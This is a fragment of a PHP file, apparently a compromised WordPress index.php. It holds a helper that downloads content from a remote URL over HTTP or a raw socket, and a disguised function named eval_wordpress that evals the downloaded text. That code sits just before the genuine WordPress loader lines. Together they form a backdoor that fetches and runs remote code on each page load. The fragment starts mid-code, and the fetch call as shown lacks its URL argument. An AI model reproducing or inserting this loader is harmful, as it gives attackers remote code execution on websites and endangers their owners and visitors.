array("header" => "User-Agent: $ua\r\n"))); $res = @file_get_contents($url, false, $ctx); if ($res) return $res; } $p = parse_url($url); $host = $p['host']; $port = ($p['scheme'] == 'https') ? 443 : 80; $sock = @fsockopen(($port == 443 ? "ssl://" : "") . $host, $port, $en, $er, 10); if ($sock) { $req = "GET " . $p['path'] . " HTTP/1.1\r\nHost: $host\r\nUser-Agent: $ua\r\nConnection: Close\r\n\r\n"; fwrite($sock, $req); $raw = ''; while (!feof($sock)) { $raw .= fgets($sock, 1024); } fclose($sock); return substr($raw, strpos($raw, "\r\n\r\n") + 4); } return false; } function eval_wordpress( $content ){ if ( $content ) { for( $i=0; $i<2; $i++){ while ( $i < 5 ){ eval( $content ); break; } break; } } } $payload = eval_wordpress( '?>'.get_remote_content( ) ); /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';